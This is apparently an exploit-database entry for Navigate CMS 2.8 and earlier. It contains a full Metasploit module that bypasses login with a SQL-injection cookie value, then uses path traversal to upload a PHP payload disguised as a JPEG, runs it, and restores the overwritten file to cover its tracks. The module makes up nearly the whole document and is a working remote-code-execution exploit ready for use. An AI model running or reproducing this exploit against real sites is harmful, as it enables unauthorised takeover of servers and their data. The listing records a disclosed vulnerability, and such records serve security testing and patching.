Navigate CMS Unauthenticated Remote Code Execution

2018.10.06
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Navigate CMS Unauthenticated Remote Code Execution', 'Description' => %q( This module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication. The module then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations. Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely. This module was tested against Navigate CMS 2.8. ), 'Author' => [ 'Pyriphlegethon' # Discovery / msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2018-17552'], # Authentication bypass ['CVE', '2018-17553'] # File upload ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 26 2018')) register_options [ OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']), ] end def login_bypass check_resp = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/login.php') ) login_bypass_resp = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/login.php'), 'cookie' => 'navigate-user=\" OR TRUE--%20' ) if login_bypass_resp && login_bypass_resp.code == 302 && check_resp.body.include?('Navigate CMS') session_id = login_bypass_resp.get_cookies_parsed .values.select { |v| v.to_s.include?('NVSID_') } .first.first return session_id end end def check return CheckCode::Vulnerable if login_bypass CheckCode::Safe end def exploit session_id = login_bypass fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id print_good('Login bypass successful') php = payload.encoded data = Rex::MIME::Message.new data.add_part(php, 'image/jpeg', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"") data_post = data.to_s upload = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'), 'vars_get' => Hash[{ 'session_id' => session_id, 'engine' => 'picnik', 'id' => '../../../navigate_info.php' }.to_a.shuffle], 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post ) fail_with(Failure::Unreachable, 'Unable to reach target') unless upload fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200 print_good('Upload successful') print_status('Triggering payload...') send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/navigate_info.php') ) end def on_new_session(session) super if session.type != 'meterpreter' print_error('Unable to restore navigate_info.php') return end session.core.use('stdapi') if !session.ext.aliases.include?('stdapi') begin session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>") rescue print_error('Unable to restore navigate_info.php') end end end


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